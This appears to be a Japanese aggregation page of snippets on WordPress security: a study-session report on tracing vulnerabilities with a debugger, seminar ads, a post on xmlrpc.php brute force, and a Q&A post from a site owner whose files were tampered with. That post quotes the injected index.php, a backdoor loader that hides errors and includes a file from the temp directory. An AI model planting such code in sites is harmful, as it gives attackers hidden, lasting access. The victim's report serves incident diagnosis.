デバッガを利用してWebアプリの脆弱性を分析してみた - とある診断員の備忘録
11/15に開催されたこちらの勉強会に参加いたしました！ デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう - connpass こちらの勉強会は、「WordPress本体とプラグインの脆弱性をデバッガで追跡することにより、脆弱性の中身について詳しく追跡し、理解を深める」という内容のものであり、なんとあの徳丸浩さんが講師をされています！ 私個人としては、仕事というか半分趣味でゆるゆる脆弱性の検証をしており、今回の勉強会はまさに自分の興味分野にドンピシャな内容だったので、非常に楽しんで参加させていただきましたｗ 私はこちらの勉強会にブログ枠として参加いたしましたので、勉強会の内容について本ブログにてレポートいたします。 分析対象の脆弱性について 今回分析する題材となった脆弱性は以下の二つです。 なお、二つの脆弱性とも徳丸さんが詳細な解説記事をブログにて公開されております
Jetpack – WP セキュリティ、バックアップ、高速化、成長
説明 より安全に、 より高速に、 より多くのトラフィック WordPress セキュリティやパフォーマンスからマーケティングやデザインまで、さまざまなツールをご用意。Jetpack は WordPress のエキスパートによって作成された、WP サイトの安全性を高め、高速化し、トラフィックを増やすためのプラグインです。 24時間体制の自動サイトセキュリティ サイトの監視は私たちに任せて、ビジネスに専念してください。 Jetpack セキュリティは、自動リアルタイムバックアップ、簡単な復元、マルウェアスキャン、スパム保護など、使いやすく総合的な WordPress サイトセキュリティ機能を提供します。 総当たり攻撃からの保護やダウンタイムとアップタイムのモニタリングといった重要な機能を無料で利用できます。 サイトをリアルタイムで自動バックアップ。ワンクリックで任意のポイントに復元できます。
モノの捉え方 – サンエイ スタッフブログ
我々デザイナーには、クライアントの要望・考えを分かりやすく形にし、ターゲットに対して訴求できる制作物が求められます。 しかし依頼時にクライアントから漠然としたイメージを伝えられたりすることもよくあります。 例えば ・スタイリッシュな感じ ・シンプルに ・かわいく ・カッコよく ・インパクト などが挙げられます。 クライアントやデザイナーなど人によって感覚・年齢・立場も違いますし、さらにターゲットによって捉え方も異なります。 そのため、クライアントが持つイメージと我々デザイナーの持つイメージが一致しているのか？と疑問に思うこともあります。何をもって「スタイリッシュ」なのか「シンプル」なのかは人それぞれの基準の幅が存在します。そのうえ「シンプル」などわかりやすい言葉はお互いに深く詰める事を省きがちになります。 しかし双方の捉え方が曖昧でその幅を埋めることなくデザインワークに入るとお客様の思い浮
【徳丸浩と学ぶ特別限定セミナー】WordPressのセキュリティ対策とサイトの運用・保守についての特別講座
マーケティングの担当者からウェブ担当者、経営者まで必見 今やクラウドでウェブサイトを運用することは当たり前のようになってきましたが、本講座ではパブリッククラウドでのWordPressサイトの運用やセキュリティに関する様々な対策について学んでいただけます。 WordPressおよびPHPアプリケーション等については、EGセキュアソリューションズの代表でもある国内屈指のウェブセキュリティの大家、徳丸浩先生による実演を交えた講演を行って頂けます。 また、WordPressに限らず、ウェブサイトにおけるSSL化の必要性、証明書の種類など、ウェブサイト全般における運用・保守についても学んでいただくため、JIG-SAW株式会社様にもご登壇を頂くこととなりました。 この機会に、自社のウェブサイトにおけるSEO対策、セキュリティ対策、運用の見直しまで、ご検討の材料として頂くのはいかがでございますでしょうか
Wordpressの不正アクセスについて教えてください。index.phpと.htaccess... - Yahoo!知恵袋
Wordpressの不正アクセスについて教えてください。 index.phpと.htaccessが書き換えられていました。 上記index.phpはスクラッチで制作したもので、 ディレクトリ「blog」内にWPをインストールしてブログのみWPのサイトです。 書き換えられた後のindex.phpの中身は以下の通りです。 <?php error_reporting(0); ini_set("display_errors", 0); include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?> <?php mysql_close($conn);?> /SESS_48cd7517d21176f980daa5502d9efb31 で検索しますと、 どうやら不正アクセスに遭ったとみられる
【大好評につき再演】企業のWeb担当者の疑問を一刀両断！～『徳丸浩のWebセキュリティ教室』から学ぶ夜（第4回）～
概略 【好評につき再演】 前回、第3回開催があいにく台風と重なり、残念ながらキャンセルを選択された方も多かったようです。 第1回、第2回と好評のため参加できなかった方、及び第3回にこれなくなってしまわれた方々も是非ご参加ください！ 国内屈指のWebセキュリティの大家である徳丸浩先生を招き、名著『徳丸浩のWebセキュリティ教室』（日経BP社）からエッセンスを抜き出し、徳丸先生が解説する無料のセキュリティ研修です。 当該書籍がなくても理解できますが、書籍を事前に購入いただき、予習をされてから参加されるとより深い理解が得られると思います。 ※内容は第1回・第2回・第3回と同じものになります セミナー受講をおすすめする対象者： Webのセキュリティの最新情報を知りたい方 自社サイトのセキュリティに不安がある方 KUSANAGI公式サポートサービスに興味がある方 本セミナーに参加して得られるもの：
企業のWeb担当者の疑問を一刀両断！～『徳丸浩のWebセキュリティ教室』から学ぶ夜（第1回）～
概略 国内屈指のWebセキュリティの大家である徳丸浩先生を招き、名著『徳丸浩のWebセキュリティ教室』（日経BP社）からエッセンスを抜き出し、徳丸先生が解説する無料のセキュリティ研修です。 当該書籍がなくても理解できますが、書籍を事前に購入いただき、予習をされてから参加されるとより深い理解が得られると思います。 後日開催のセミナーも同じ内容となります セミナー受講をおすすめする対象者： Webのセキュリティの最新情報を知りたい方 自社サイトのセキュリティに不安がある方 KUSANAGIフルマネージドプランに興味がある方 本セミナーに参加して得られるもの： スペシャリストによるWebサイトセキュリティの見解 企業サイトを運用するための考え方 本セミナーの内容に興味がある方は以下の開催概要をご覧いただき、是非、この機会にお申し込みいただきたく、宜しくお願いいたします。 詳細情報 開催場所 ：
WordPressのxmlrpc.phpへのブルートフォースを防ぐ | 高橋文樹.com | プログラミング
この投稿は 7年半 前に公開されました。いまではもう無効になった内容を含んでいるかもしれないことをご了承ください。 たぶん、ここ一週間ぐらいだと思うんですけど、WordPressのXML-RPCエンドポイントへのブルートフォース攻撃が多くないですか？ 僕がEC2でホスティングしているWordPressは全部やられました。 そんなにものすごい勢いでアクセスが来るわけじゃないので、大規模なサイトでは気づかないかもしれないのですが、サーバがしょぼいとCPUの利用率が100%を超えます。xml-rpc.php への認証をトライされるとDBへの接続が必ず行われてしまうからですね。 一番簡単なのは xmlrpc.php へのアクセスを遮断してしまうことなのですが、プラグインJetpackを使っている場合、そうもいかなかったりします。JetpackがXML-RPC使ってるからですね。 そこで、こんな設定
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
WordCamp Kansai 2015 2015/07/26
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
WordPress French Security Plugin - SecuPress